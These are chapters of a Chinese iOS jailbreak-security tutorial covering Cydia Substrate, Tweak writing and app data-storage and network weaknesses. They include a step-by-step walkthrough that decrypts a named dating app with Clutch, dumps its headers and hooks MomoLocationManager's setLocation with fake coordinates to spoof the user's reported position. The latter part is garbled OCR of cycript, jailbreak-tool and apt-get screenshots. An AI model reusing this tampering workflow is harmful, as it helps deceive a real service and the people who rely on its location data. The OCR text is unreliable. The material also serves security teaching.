Cydia Substrate有3部分组成：



	MobileHooker

	MobileLoader

	safe mode





MobileHooker

MobileHooker用来替换系统函数，这个过程也叫Hooking。有如下的API可以使用：

IMP MSHookMessage(Class class, SEL selector, IMP replacement, const char* prefix); // prefix should be NULL.

void MSHookMessageEx(Class class, SEL selector, IMP replacement, IMP *result);

void MSHookFunction(void* function, void* replacement, void** p_original);


MSHookMessageEx用来替换Objective-C的函数，MSHookFunction用来替换C/C++函数。具体用法参见这里 和 这里

MobileLoader

MobileLoader把第3方补丁程序加载进入运行的程序中。
MobileLoader首先会通过DYLD_INSERT_LIBRARIES把自己加载进入目标程序，然后它会在/Library/MobileSubstrate/DynamicLibraries/中找到需要加载的动态链接库并加载它们，控制是否加载到目标程序，是通过一个plist文件来控制的。如果需要被加载的动态库的名称叫做foo.dylib，那么这个plist文件就叫做foo.plist，这个里面有一个字段叫做filter，里面写明需要hook进的目标程序的bundle id。

比如，如果只想要foo.dylib加载进入SpringBoard，那么对应的plist文件中的filter就应该这样写：

Filter = {
  Bundles = (com.apple.springboard);
};


关于使用DYLD_INSERT_LIBRARIES来注入代码的例子可以参见这里

Safe mode

当编写的扩展导致SpringBoard crash的时候，MobileLoader会捕获这个异常，然后让设备进入安全模式。在安全模式中，所有的第3方扩展都会被禁用。

下面这些signal会触发安全模式：
SIGTRAP
SIGABRT
SIGILL
SIGBUS
SIGSEGV
SIGSYS

小结

本文简要介绍了Cydia Substarte。后面要介绍的越狱程序Tweak，就是利用Cydia Substrate中的MobileLoader来加载的。
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        7.2 Tweak编写简介

        
            
            
                开发越狱程序和日常开发的iOS程序很相似，不过，越狱程序能做更强大的事情。你的设备越狱之后，你就能够hook进Apple提供的几乎所有的class，来控制iPhone/iPad的功能。

在3.6 Theos：越狱程序开发框架 这一节，我们详细介绍了如何安装Theos以及各种工具，头文件下载地址，以及编译出错的各种情况的解决方法。

也介绍了如何创建Tweak和把Tweak程序部署到iOS设备上。

之前我在blog上也写过几篇文章：

iOS越狱程序开发（1）－ 工具篇
iOS越狱程序开发（2）－ 构建和部署 
iOS越狱程序开发（3）－ Your First Tweak
iOS越狱程序开发（4）－ 总结

@拓词Joey 在其blog上也分享了一篇文章使用Theos做一个简单的Mobile Substrate Tweak，介绍了如何在锁屏界面增加一个UILabel显示一行文字，欢迎前往阅读。

小结

3.6 Theos：越狱程序开发框架 这里介绍得非常详细，从第一步开始，一步步教你编写Tweak，建议边阅读边实践。

如果遇到任何问题，请给我微博或者微信公众账号：iOS技术分享 留言。
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        7.3 Tweak程序编写一般步骤

        
            
            
                确定目标

第一步是确定目标，即你要分析的App，你需要在这个App上编写Tweak完成的功能，比如挂钩SpringBoard使得桌面启动的时候弹框，或者拦截某个具体的应用的特定API调用，获得关键信息。

导出头文件

确定目标之后，就可以利用Clutch先破解App，然后利用class-dump-z导出头文件，找到你感兴趣的类，对它进行分析。

获得类的方法

有时候，头文件没有所有方法调用的信息，这个时候你可以利用cycript，使用之前介绍的trick，比如printMethod打印出所有的方法。

编写Tweak

这一步你应该拿到需要Hook的类以及对应的方法，利用[Tweak编写简介]（http://security.ios-wiki.com/issue-7-2/）中介绍的技术编写Tweak。

安装与测试

把上一步的Tweak安装到你的设备上，验证你的Tweak是否工作正常。

小结

这里简要介绍了Tweak编写的一般步骤，后面的章节会有更具体的例子来介绍这个步骤。
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                本章简要介绍了Cyida Substrate，Tweak程序编写的一般步骤，下一章，我们将应用之前学到的内容进行实战。
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        8 修改某陌生人交友软件的位置信息

        
            
            
                修改某陌生人交友软件的位置信息


            
            

        
    



        
        

    
        8.1 简介

        
            
            
                本章我们将简要介绍如何分析App并编写Tweak。比如，使用某陌生人交友软件的时候，在其第2个tab，发现这个tab，会使用当前用户所在的地理位置，推荐周边的用户和群组。

那么，有方法做到伪装自己的地理位置么，即做到如下的效果：

[image: ]

如上图，我们能随意更改自己的位置么，比如改成北京？

我们将分析看看是否能做到，请继续阅读后面的章节。



#8 修改某陌生人交友软件的位置信息下的更多文章


            
            

        
    



        
        

    
        8.2 导出并分析头文件

        
            
            
                导出头文件

使用前面文章介绍的Clutch(4.3 Clutch：iOS应用破解工具)破解IPA，然后把IPA拷贝到Mac上。

然后使用Mac上安装的class-dump-z(使用class-dump-z获得iOS应用程序的类信息)就可以导出头文件。具体使用方法请参阅上述两篇文章。

分析头文件

这里我们的需求和地理位置有关系，我们首先搜索下关于Location的文件。

我们找到这个文件：MomoLocationManager.h。

其内容如下：

/**
 * This header is generated by class-dump-z 0.2a.
 * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3.
 *
 * Source: (null)
 */

#import <XXUnknownSuperclass.h> // Unknown library
#import "CLLocationManagerDelegate.h"

@class CLLocation, CLLocationManager, NSDate, NSTimer;

__attribute__((visibility("hidden")))
@interface MomoLocationManager : XXUnknownSuperclass <CLLocationManagerDelegate> {
    CLLocationManager* locManager;
    CLLocation* location;
    CLLocation* reviseLocation;
    CLLocation* fakeLocation;
    BOOL correctLocation;
    NSTimer* timer;
    BOOL isLocationing;
    NSDate* beginDate;
    NSDate* lastLocTime;
}
@property(retain, nonatomic) CLLocation* fakeLocation;
@property(retain, nonatomic) CLLocation* reviseLocation;
@property(retain, nonatomic) CLLocation* location;
@property(copy, nonatomic) NSDate* lastLocTime;
@property(retain, nonatomic) CLLocationManager* locManager;
@property(retain, nonatomic) NSDate* beginDate;
+(id)shareMomoLocationManager;
-(id)distanceBetweenLocationDictionary:(id)dictionary;
-(BOOL)isOriginLocationValid;
-(BOOL)isReviseLocationValid;
-(void)locationManager:(id)manager didFailWithError:(id)error;
-(void)locationManager:(id)manager didUpdateToLocation:(id)location fromLocation:(id)location3;
-(void)refreshLocationIfExceedLimit;
-(void)HandleTimer;
-(void)updateServerLocation;
-(void)locationFail;
-(void)locationFinish;
-(void)updateSelfLocation:(id)location;
-(void)cancelLocation;
-(void)reviseLocationToError:(id)error;
-(void)reviseLocationToFail:(id)fail;
-(void)reviseLocationToSuccess:(id)success;
-(void)reviseLocationTo;
-(void)stoplocation;
-(void)locationTimeOut;
-(void)starLocationAndCorrectLocation:(BOOL)location;
-(id)getLatestLocationWithInterval:(double)interval;
-(void)dealloc;
-(id)init;
@end




这个文件很有意思，很可能就是我们要找的。

那怎么确定这个类确实是我们想要的呢？

我们可以对这个文件的所有方法挂钩(编写Tweak)，先打印下调用记录，并分析其参数值，最终确定是不是这个类。

编写Tweak的方法参见：Theos：iOS越狱程序开发框架

我们知道，如果要挂钩某个方法，类似如下代码：

#import <SpringBoard/SpringBoard.h>

%hook SpringBoard

-(void)applicationDidFinishLaunching:(id)application {
%orig;

UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"Welcome" 
message:@"Welcome to your iOS Device Ted!" 
delegate:nil 
cancelButtonTitle:@"security.ios-wiki.com" otherButtonTitles:nil];

[alert show];
[alert release];

}

%end


如果我们要对一个类的所有方法，包括property的挂钩（Hook)，手动一个个写当然可以，但是那样就太繁琐了。下一节我们介绍一个工具，可以一下就对整个类的所有方法挂钩。

请继续阅读下一节。
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        8.3 使用Logify跟踪函数调用

        
            
            
                简介

Logify能够接受一个.h头文件作为输入，然后输出.xm文件（MobileSubstrate扩展），这个.xm文件hook这个类的所有方法，当这些方法被调用的时候打印log。这有助于你发现哪些方法被调用了。Logify在安装了Theos之后就有。

用法

在命令行下输入类似的命令：

/opt/theos/bin/logify.pl MomoLocationManager.h > tweak.xm


其中MomoLocationManager.h是头文件，后面的tweak.xm是自动生成的tweak文件。

在我的mac上我是这样输入的：

ZPs-MBP:momoLocation admin$ /opt/theos/bin/logify.pl MomoLocationManager.h > tweak.xm


这个tweak.xm的内容如下：

%hook MomoLocationManager
- (void)setFakeLocation:(CLLocation* )fakeLocation { %log; %orig; }
- (CLLocation* )fakeLocation { %log; CLLocation*  r = %orig; NSLog(@" = %@", r); return r; }
- (void)setReviseLocation:(CLLocation* )reviseLocation { %log; %orig; }
- (CLLocation* )reviseLocation { %log; CLLocation*  r = %orig; NSLog(@" = %@", r); return r; }
- (void)setLocation:(CLLocation* )location { %log; %orig; }
- (CLLocation* )location { %log; CLLocation*  r = %orig; NSLog(@" = %@", r); return r; }
- (void)setLastLocTime:(NSDate* )lastLocTime { %log; %orig; }
- (NSDate* )lastLocTime { %log; NSDate*  r = %orig; NSLog(@" = %@", r); return r; }
- (void)setLocManager:(CLLocationManager* )locManager { %log; %orig; }
- (CLLocationManager* )locManager { %log; CLLocationManager*  r = %orig; NSLog(@" = %@", r); return r; }
- (void)setBeginDate:(NSDate* )beginDate { %log; %orig; }
- (NSDate* )beginDate { %log; NSDate*  r = %orig; NSLog(@" = %@", r); return r; }
+(id)shareMomoLocationManager { %log; id r = %orig; NSLog(@" = %@", r); return r; }
-(id)distanceBetweenLocationDictionary:(id)dictionary { %log; id r = %orig; NSLog(@" = %@", r); return r; }
-(BOOL)isOriginLocationValid { %log; BOOL r = %orig; NSLog(@" = %d", r); return r; }
-(BOOL)isReviseLocationValid { %log; BOOL r = %orig; NSLog(@" = %d", r); return r; }
-(void)locationManager:(id)manager didFailWithError:(id)error { %log; %orig; }
-(void)locationManager:(id)manager didUpdateToLocation:(id)location fromLocation:(id)location3 { %log; %orig; }
-(void)refreshLocationIfExceedLimit { %log; %orig; }
-(void)HandleTimer { %log; %orig; }
-(void)updateServerLocation { %log; %orig; }
-(void)locationFail { %log; %orig; }
-(void)locationFinish { %log; %orig; }
-(void)updateSelfLocation:(id)location { %log; %orig; }
-(void)cancelLocation { %log; %orig; }
-(void)reviseLocationToError:(id)error { %log; %orig; }
-(void)reviseLocationToFail:(id)fail { %log; %orig; }
-(void)reviseLocationToSuccess:(id)success { %log; %orig; }
-(void)reviseLocationTo { %log; %orig; }
-(void)stoplocation { %log; %orig; }
-(void)locationTimeOut { %log; %orig; }
-(void)starLocationAndCorrectLocation:(BOOL)location { %log; %orig; }
-(id)getLatestLocationWithInterval:(double)interval { %log; id r = %orig; NSLog(@" = %@", r); return r; }
-(void)dealloc { %log; %orig; }
-(id)init { %log; id r = %orig; NSLog(@" = %@", r); return r; }
%end


使用Theos：iOS越狱程序开发框架介绍的方法编写Tweak，然后用上述生成的tweak.xm覆盖自动生成的tweak.xm文件，然后安装到设备上。

打开Xcode的Organizer看设备的log。可以得到如下的log信息：

[image: ]

我们可以发现有哪些方法被调用了，其中红色划线的地方，就是我们的当前位置的经纬度。

我的经纬度被上报了。

从这个图中，可以发现最终是调用了：


	(void)setLocation:(CLLocation* )location



在下一节，我们将拦截这个方法，给这个方法传递一个假地址，看看是否能达到目的。
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        8.4 编写Tweak并安装到设备上

        
            
            
                根据上一节的分析：我们最终编写的Tweak程序如下：

#import <CoreLocation/CoreLocation.h>

%hook MomoLocationManager

- (void)setLocation:(CLLocation* )location { %log; CLLocation *location1 = [[CLLocation alloc] initWithLatitude:39.91276257 longitude:116.36980966];%orig(location1); }

%end


其中的经纬度(39.91276257, 116.36980966)，如下图所示，是我随意填写的。

[image: ]

使用Theos：iOS越狱程序开发框架介绍的方法编写Tweak，然后安装到设备上。

最终的效果如下图所示：

[image: ]

成功把当前位置替换。

利用本系列文章介绍的工具可以做很多有意思的事情，欢迎读者自己去找寻目标并体验这些技术。
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        8.5 小结

        
            
            
                本章介绍了编写Tweak的实际例子。从头文件导出、使用Logify跟踪函数调用、到最终编写Tweak，介绍了如何伪装自己的地理位置信息。
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        9 本地数据和网络通信

        
            
            
                本地数据和网络通信


            
            

        
    



        
        

    
        9.1 本地数据分析

        
            
            
                在5.2 本地数据存储及安全性这一节，我们对本地数据存储对安全性做了详尽的分析。

NSUserDefaults，plist,sqlite3等等，即使设备不越狱，攻击也能够提取出数据。在设备越狱之后，keychain中的数据也不安全。

因此，要对敏感数据加密，且尽量保存到keychain中（比如token信息）。

下面是2个例子。（密码都被我用password字串替换）

a) 家里的WIFI信息
[image: ]

b）某知名微博

[image: ]

我在越狱之后的iOS 5.1的iPhone，iPad, iOS 6.1.2的iPad上都测试过，都可以获得如上信息。

实际中的例子远不止这2个。很多应用都是直接存用户的明文密码的。

个人如何防止信息泄露

 a）修改root的默认密码。
 b) 安装能信任的jail break app。

对开发者和公司

 不要保存用户的明文密码。
 Encryption is a must for sensitive data。

考虑到用户的安全，这里并没有点名某个具体的应用，做移动App，一定要考虑本地数据存储的安全问题。

大家可以拿感兴趣的App，用本系列文章介绍的方法具体分析一下。
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        9.2 网络通信分析

        
            
            
                在网络流量工具Charles的安装和用法和6.1 分析HTTP/HTTPS网络流量 这两节，我们介绍了对iOS的网络通信进行分析的方法。

利用文章介绍的方法，可以发现有以下几类：

发送明文密码

有的应用一点也不注意用户数据的安全，竟然发送明文密码。读者可以拿自己常用的App试试，应该能发现这种App，我发现我常用的一个电影相关App竟然用HTTP直接发送用户的明文密码。

发送密码的md5

有的应用做得好一点，不发送明文的密码，发送密码的md5，md5对于攻击者来说，大部分其实都相当于明文了。现在甚至有公开的可以查询md5对应的明文的网站。

其技术原理是这样的：先把常用的各种明文算一个md5，然后把这些数据存起来，最后更具md5来倒查明文。

用HTTPS

有的应用以为用HTTPS就安全了，所以就直接传输明文的密码，但是这种很容易遇到中间人攻击，一旦通信链路上有一个环节出了问题，密码一样泄漏。

所以，如果用HTTPS，一定要注意对通信双方的一个身份的认证，比如在客户端保存server证书的相关信息，每次传输之前，验证证书信息，避免中间人攻击。

用HTTPS传输md5都比传输明文好太多。

自定义协议

可以直接建立TCP链接，然后利用自定义协议，传输关键内容，比如用户名密码和其他关键信息。

QQ就是自定义协议，登录和聊天信息都是加密之后再传输。

XMPP

从上个月开始, 很多XMPP服务器开始升级强制加密。我们知道，以前XMPP协议是明文传输的，比如GTalk，比如MSN，以后逐渐XMPP的传输也会加密。

小结

在处理用户登录的时候，请不要传输明文的密码，而且请注意防止重放攻击（replay attack，防止重放攻击的方法就是使用nonce）。

这里并没有拿某个App来分析，希望读者能够利用本系列文章的介绍的工具和方法，拿自己感兴趣的App来动手分析下。
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        9.3 小结

        
            
            
                本章我们对某些知名应用的本地存储和网络通信的安全进行了简单的分析，可以发现，在移动互联网，安全这一块还需要大家更有安全的意识，特别是了解攻击者的手段和方法，能够让我们尽量避免出现安全上的问题。
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Fset_xa)
fset xe]

Fing_welcone]
T, eax
i Welcose_to_your_i05_ Device Ted ) ;

sgister_]
Fing_seEurity._ios_wiki_con]

sec

Sgister_|
7ol

So1

sele

e e e == =
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cy# [[1[[UTApplication sharedApplication] keyWindow) subviews] objectAtIndex @] nextResponder] topViewContraller
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_ evasiOn - Version 1.5

Welcome! evasiOn is an untethered jailbreak for 0 6.0 through 6.1.2.

Injecting stage 2 jailbreak data (step 2/3)... (Do not touch your device)

Jallbreak

NOTE: Please make a backip af your device before applying the jalbreak.

We don think there will be any problems, but e can’lmake any guaraiiees.
Use evasion at your own 1isk.

evasi0n © 2013 (evadits

Jallbreak exploits by @planetbeing and @pimskeks.
graphic design by @Surenix - interface by Hanéne Samara.

Support i3 IayPail
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oy
cy# printHethods (YahooSlidingViewController)

[Iselector:@selector (supportedInterfacelrientations). mplementation:6xl 585491, |selector:@selector (backgroundImageView) . implementation el Sedus ), (selecto
ri@selector (setBackgroundImageiew: ) 1mplementation:bx15:419 ), [selector-@selector (setTop¥iewControllerChangedDusToRowSelected: ), 1mplemantation: il ses 14|
.Iselectar:@selector (handleResetTapGesture) . implementation:6x1Gcicd|. |selector:@selectar(setResetTapGesture:), implementation:6xl5eh14), (selectar iselact
o (updateTopVisutorizontalFrameithRecognizer ), implamentation:f:155227], [selactor @=slector (setBounceleftAmount:) . implementation. Bul5e7701 [selector s
lector (setBounceRightAnount ). implementation #1573, [selector @s=lector (setFloatingBounceleftAmount=). implementation:ax15=521 |, |selectar @sslector (s
2tFloatingBounceRightAmount- ). implementatian: el 5:55l ], (selectari@selactor (setFloatingPeekAmaunt ), implementation 6x1525-1 |, {selector el ectal {topyiauR
otating) implemertation:dx15=750), (selectar-@selector (removeTopCoveryiew), implementation:ds5dled]. (selectar @sclector (FloatingPanyiew) implementation;
«15a561 ), |selector:@selector (setFloatingPanView: ). implementation:@x152511 ), (selector:@selector (autoResizeTaFillScreen). implementation ox)5cads )| {selecto
ri@selector (turnTopVienShadowOn: ). implementation:bxi57345) . [selector:@selector (resetTopyiewhninated:) implementation: ol 5c7=1 ], (selector ==l actor addFl
oatingPanViewToTopV1ewController). mplementation:dx13afd5 ], (selectar:@selector (setResetStrategy ), mplementation:@xl5e2d4 ). |selector Baelectar (uncoverad
Sidebar:at:).implementation:6xL6o085 ). |selector-@selactor (tap¥iew). implementation: ivl5ca4% |, [selectar:@selector (adjustlayout) implementation:d:l58eda). |
selectar:@sslactnr(preRatationCoverage) . implementation:ox152599, [selactor:@salactor (ancharTopViewTo:animated. ). implementation:ox155740], (salactar 2=le
ctor (anchorTopYiewlncoveredTa-animated: ). implementation: x155455 ). [selector -@selector (topYiewHasFocus).implementation f<i5=054), [selactar @s
pViewRaotating: ), implementation:x15274%) {selector @selector (updatelayoutFarNewdrientation-), implementation:a«l52625], (selectar:@sel=ctar (shauldAutorat
ate), implementation:0«15598] |, (selector:@selector (setPreRatationCaverage: ). implementation Oxl52629), (selector @selector (setPreRotationkind ). implementat
Jon:6xibebcd), [selector:@selector (underLeftViewController). implementation:@x152251 ). (selector:@selector (FloatingViewAtleftSide) implementation: ey | fasis |
|Iselectorifsslactar (setPreRotationFloatingHatchleft:) . inplementation:ix|5e70%). [selector;@selactor (addTapCoveryiew) . mplementation: duiserad |, (selectar

@selector (adjustFloatingViewPostRotation) . implementation:dx1396:] |, [selector:@selector (ancharRightRevealamount), mplementation: vl 5554 |selector B=sle
tar (underLeft¥iew) implementation:6x15c551|. [selector:@selectar (anchorLeftRevealAmount), implementation: 0x152320 ], [selector:@selector (WnderRightyiew) im
plementation:f:]5c5d9 ). (selactar:@selactar (underRightShawing) . implementation:6:15:779] . {selector :@selactor (updatelndarRightlayout)  implementation: fxl 53
551 (selector @selector (underleftShowing) . implementation:6x(5=753 ], {selector 8selector (updatelnderLeftlayout) . implementation: @l 52051, iselectar Bselott
ar¢setInitialTouchPositionX-) jmplementation:f.l5:48%], (selectar;@salsctor(setinitialHorizantalFrane ). implenentation ox] =429, (selactar:
nitialborizontalCanter: ). implementation:@sl5e4a4 ), (selectar-@selector (initialTouchPositionX), implementation:6:15:472), [selector-@sclsctar (1nitialHorizan
talFrame). implementation:@xl5edbt |, [selector @selector (underRightViewContraller), implementation:tx15:2al |, (selector:@selactor (anchorRightTapViewFosTtion
). implementation:exl5q351 |. |selector;@selector (ancharLeftTopV1ewPosition). implementation:ox15d35 1. (selectar;@selectar (tapV1enHorizantalFraneli11Change:
). mplementation:éxl5celi). [selector:@selector (updateTopiewHorizontalFrame autoRes1zeTopYiew: ), mplementation: oxl5ccdd |, (selector @=slector (tapViewHor

zontalFrameDidChange:) implementation:6x1 5¢f39), [selector:@selectaor (topViewlsResized) implementation:6x15el1d]. (selector:@selector (fesetTopiewhninated:
updataFloating: ). inplementation:éx150b3d] . [selector :@selector (ancharTop¥iewTo. thenResetAnimatad:) . implamentation:@x159574 ], [selactor @==lector (anchorRig
htPartialRevealanount) . inplementation 915275 [selector @s=lector (anchorleftFartialRevealAmount) . implenentation 6x15:35% | |selector Bseletior (panBestu
re) implementation: 0x1595:%) {selector:@selectar(transparent¥iew) implementation:@xl5:775}, {selector @selector (bouncelaftAmount) . implementation: drl o715
Lﬁdxmr%d«mﬂmwmﬁ%wmwuJmkmmﬂmmmHﬂNLﬁdxmv%dumdwﬁ&thmwmﬂJm&mmﬂmwmﬁrjkﬁﬂum
updateFloatingViewToMatchView: floatingViewWasleft:). implementation:ex185155]. |selector :@selector (1sNormalleft). implementation:sx1525259) (selector @selec
tor (1sFartialleft) implementation:Gx15525% ) . [selector:@selectar ¢1sNormalRight) implementation:ix| 55404, [selector:@selector (1sFartialRights implementat
on:6x155309), (selectar:@selector (underleftWil1Appear), implementation:ax15d771 |, (selectar @selactor (underRightWillAppear) . 1mplementationt il sdsti ], [selac
tor:@selector (underLeftWillDisappear), implementation:0x15da6d]. (selector:@selectar (underRightWillDisappear) .implementatiaon:6x15ddii], Iselector @selectar
(topDidResat). implemantation:91544-9]. (selectar:@selactor (topCoverView) . implementation:@x15=441 |, [salactar:@selector (shouldAllowlserTnteract ionsWhanane
hored) . implementation @< 52104}, [selector @s2lactor (setTopCoverView ). implementation @<l 5=451 |, {selectaor:@selactor(resetTapGesturel implementation A<l
529] {selector:@s=lectar (caverPanGesture) implementation:5x<L5-571 ], {selectar @selector (anchorRightPeskAmount) . implementation 6« 5-348) (selectar @se
or (FesettedCenter), inplementation: fxl345=5). Iselector -@selectar tanchorLef tPeekAmount) implenentation 0%l 5279, (selector @sel sctor (screeniidthForOrienta
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.8 0 evasiOn - Version 1.5

Welcome! evasiOn is an untethered failbreak for i0S 6.0 through 6.1.2.

Retrieving information from the device to generate jailbreak data...

EE ———

NOTE: Please make a backup of your device before applying the jailbreak.
We don’ think there wil be any problems, but we cant make any guaraniees.
Use evasion at your owr fisk.

evasion © 2013 (v
Jallbreak exploits by @planetbeing and @pimskeks.
graphic design by @Surenix  interface by Hanéne Samara.
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 cy# printHethods (YWAppDelegate)

[lselector Bselectnr {(setMainViewContraller.) implementation:f:G2449), (selactor:@sslactar (saveContaxt) . inplementation:@x3d
671}, {selector@szlector(applicationDocumentsDirectary), implementation 0x3=415], {selectar @selectar (launchFeadback) . inple
mentation 69472}, [selector;@selector (nainYiewController). inplementation Gc3:ic2}, [selector:@selector (lastForegroundTine
) mplementation: 022501 |, [selector:@selectar (window) . implementation:@x9=491), {selector:@sslectar (application:apenURL:sau
rcempplication:annotation:).implementation: oxadbbs ). (selectori@selectar(applicationWillTerminate:). implementatiaon:axbdres
|.[selector:@selectar (applicationDidBecomeActive:). implementation; wxsqery|. |selectar:@selactor (applicationWillRestgnAct v
e:).amplementation:ixideds |, (selector:@selactor (applicationDidEnterBackgraund:), implementation:tx9dedi |, |selector:@select
or (applicationWillEnterForeground:) implementation:@x0dedd), (selector:@selectar (application:didFinishlaunchingWthOptions
2),implementation:9:947c5], [Selectar:@selactar (setWindow:) . inplementation:9x5edsl ], [Selector:Bzelactor (, cxx_destruct) . imp
Tlementation:f:Ge5l1 ), [selector (@s=lsctar (persistentStoreCoordinator) implementation:@x9elss), [selector @s215ctar (nanaged
b]ecimudel).wmplementatwun.619<8b5|4Iselectnr:@selé tor (managedObjectContext) . implementation: @xaealis ||
 cy#t
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cy# function printMethods{classhame) |
> var count = new new Type{'l'):

var methods = class_copyMethodlist(objc_gatClass(classhane). countd:
var methodsArray = 11
y>  farivar i = #: 1 < *counts 4k

o> var method = methods(7i.
o> methodsArray push(|selectorimethod_getName (method), implementation:methad_getImplementatic
nmethod) |

>

y>  fresmethods)

oy>  freefcount):

cy>  return methodsArray
2

oy






OEBPS/Images/9ee7983e.jpg
cy# _[I111IULApplication sharedApplication] keyWindow] subviews] objectAtIndex: 9| nextRespander]. top¥iewController userDidRequestlpdate]
cy#
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&) implementation: s«b ) ) iselector #selectior (showSidebar |

b 6804, Iselector:@select
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cy#® printMethods (YWMainViewContraller)

|iselectar:@selector (editlocationsViewCantrallarDidFinish ). implementation:a«h7i05 ) [selector @selactor (supportedInterface0rientations) implementation i
06320 |, [selactar:@selactar (inth1 thNibName bundle window: ) implementatian u«h5a34 ). (selector:@selector1nitSidebar) implementation: s pinas |, (selectari@
selactor (locationAdded: ) implementation:txbboed ). |selector @sclector (weatherlpdated:) mplementation:ixb7i=s) [selector @selectar (updateOntinuteChange)
mplementation: 4xb70ed) . |selectar:@selector (LocationScrallView), implementation:@xbdf05 ). (selector-Aselector (setLocationsResul tsContraller-) implementat

n- BxbOF3S | [selector Bselas tor (sethapViewContraller:). inplamentation Guia=Ai |, (selectar @z=Tsctor (napyienContrallar) implanentation: sl 47 4) (selector

EecreetihoraleNewsrhEr b tanei st SISO RE E ) @s=lector (showOuickGuide) . mplementation f«la<t | (selector Bselectar (UpdatelocationVie
we) . fmplamentation Gl 7<fd), {selector @selectar (locationPagaControl) . implanentation o:0h5cha] {selectnri@sal=ctar(visulncationAtindex: force ). implementat
qon 9rh6=351. tselectar@zelactor (sethavigationTitle ) implementation: ixbd=dd}, (selector tor (setlandscapelabel | implementation: «b=04l ), (selector

e acton (oa tNaw T BEETONT T L ANAWL)  IpLATENIS L36N  BbaBE] . Lslactor-Bsalactor éaathurplabceantiing 1 (Inplavantatron ixbsnHd) . Lsslsctor (=stactar MopHasky
11Screen) implementation: fxpi=1d | |selector @selectorisidabar) implementation; sbizc) |selectsr @ssiactor bottomBartiew) implementation isbidct| [selec
toriiselector {landscapelabel ) 1mplementation:iixbatiz1) [selectori@selector(setlastlaidOutOrientationl ) 1mplementation:ixbedid) . (selectori@selector (purple
Accentline) implemantation @«0iic0| fselectnor @=el=ctor thideQuickGuidel implementation:Gxbi 401 |selectar-@selector (controllerFarfage: | implementation O
9895, [selectar B==lector (updateNavigationTitle) implemantation Avi7775] [selactor @zelactnr (UpdateTimeForcurrentAndAdjacant) implementation f:l76¢4)
Iselector @selector flocationViewControllers) implensntation 4:6G4is) . (selectar @sal=ctor (lastlardoutorientation) inplementation: @], |selector @==le
ctor ¢setlocationViswCantrollers o mplementation @+b%11%| (selsctor @selectaripositionlacationView farPage ) implementation b5kt ) (selectnri@salector
(setSidebar ) implementation: xfo-df} (selector @selector (setSettingsViawControllar) implementation; b9 64}, fselector @sslector (sattingsVisnController
) implementation.rabufhd). Iselector lector {lacalizedStringForKey table comment ) implementation:weoribls] selector @selactor (yahooStdebar heightFaorte
adarWi thSidebarSectianTyperinSection: ) implementation: axbicad |, (selector @ssiactor (showEd)thocattonsy rewdy thiompletion ) implementation: bxb 62q . |select
or @selectar (yahooSidebarloginTapped:)  implementationtuxbaidl |, (selactar @zslector (yahonSidebarlogoutTapped: ), implementation:isbilid) (selectori@selecto
¢ (yahooSidebar:viewForHeaderWi thSidebarSect ianType: inSection: ). inplementation dxuicht | |selectar @szlector (yahnaSidebar-didSelectRonInToolsSection ) imp
lemantation 1bE970 ], (selactor:@=alactor (yahooSidebar didClickFaotarActionSheatTten ) implamentation:isbad=7), (selector @=elactor (yshooSidebar: didsslact
FroductNayigationRowAtTrdexPath ) fmplementation A:L515%) (selector @selector yahonSidebar heightForteaderInProductSaction 1. implemantation AckaLls). tse
Tectnr:@sel=ctar (yahonSidebarDisplayedNavigationSections ). implementation A<buhad) . (selector #==lactar tyahooSidebarhithNoNayigationBar ), inplementation

BahEOTS ), [sélector Bselector (yahooSidebarExtrabisplayedI temsInAppsSection ) inplementation @tib i) (selectnrig=e|ector (yahooSidebarDisplayedl tensInToo

sSectitn:) implementation: oxhanis| |selector:@selactar (number0fFroductNavigationSectionsInyahooSidebar ) implementation-axbahai ), (selector @sclectar (yah
anS1debar number0fProductNavigationRawsInSection: ) 1mplementation: 6xpaibi | (selectar:@selectar (yahanSidebar:titleForPraductNavigationRowh tIndexFath: 1. 1m
plementationiiskueid). [selector @selector (yahonStdebar:1conForFroductavigationRowktIndexPatht ), implamentation: 6492 14), (selectar:@selector(createtaplna
geForLocationIfCentered:size:), implementation xb6fld|. |selectar @selector tuserDidRequestlpdate) implementation-oxt7120d | |selector @selector (shawsidebar
) implementatian AvL74¢5], (selectn tor{addLocationVisn. ), fmplementation GxL7545 ), |Selactor.@s=lactor (CurrentlocationVientontroller! implementat

on Al 1260} fselector-sel=ctor (s7debarShouldaler tiserBeforelaunchingAppWithURL ) ifiplementatinn @xho4dd| |selector @=elestor (sidebarlili0isplayProductd
ata atRaw ), fmplemantation Gl 94-|} [selector @=elactor(sidebarButton), implementation «xbadsl|. (selectar Bs<lector(satSidebarButton ) implamentation: i b
Gd7d). fselector @sslector (satBattomBariiew: | implemantation o odsd |, (selentar @ze]ctor (navigationTitleNew), inplemantation 9:tcci5) (selactar-dsslsctor
(setlocationfageControl ) implementation Oxhﬂauﬁl Iselector @selectartsetapHasFullScreen-) qmplementation mxotssi| Iselector @selector (addlocationButta
) implementation:xiieti | (selector:pselectarsetAddlocationButtaons ). mplementation:ixbiril). (selactori@selactor (locationsResultsContraller). implementa
tion:inhotos ) [selector Gselectar (sstlocationScrolView ) implementation 6xt-1i | [selector Bselector (signedIng implamentation b oansl | |selectar B=elec
tor (setSignedIn- ) implementation 6xbaull | |selector-Bselector{cantrollerDidChangeContent ) implementation=oxh ich|. Iselector @selectar (window)  implement
ation @v054a] |, [selectar @s=lactor (setWindow! ). inplementation @VLGis] |, |selactor @s=lactor (didRecaivaMenaryWarning) implementation: AckGcLL) . [selector-is

fiss
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| Prateeks—iPhone:~ root# apt-get update
Ton http://repob66.ultrasndu. con ./ Release.gpg
http://apt.saurik.con 105/793.00 Release.gpg [1898]
Ign http://cydia, iphonecake.con ./ Release.gpg
Hit http://apt.thebigboss.org stable Release.gpa
12 http://cydia. z0dttd. con stable Release.opg (18981
http://apt.saurik.con 105/793.00 Release [6228]
Nttp://repo6Bs. ultrasndu.con ./ Release
+4 http://apt.modnyi.con stable Release.opg [1898]
Hit http://cydia. iphonecake. con ./ Release
Hit http://apt. thebigboss.org stable Release
Ign http://cydia.xsellize,con ./ Release.opg
Ton http://apt.saurik.con 105/793.80/main Packages/DiffIngex
Ton http://repos66.ultrasndu. con ./ Packages/DiffIncex
http://cydia,z00ttd. con stable Release [16198]
£6 http://apt.modnyi. con stable Release [13418]
http://cydia.xsellize.con ./ Release
http://apt.saurik.con 105/793.00/main Packages [24.0kB]
Ign http://cydia. iphonecake. con ./ Packages/DLffIncex
Hit http://repo666. ultrasndu.con ./ Packages
Hit http://apt.thebigboss.org stable/main Packages/DiffIndex
Ton http://cydia.xsellize.con ./ Packages/DiffIndex
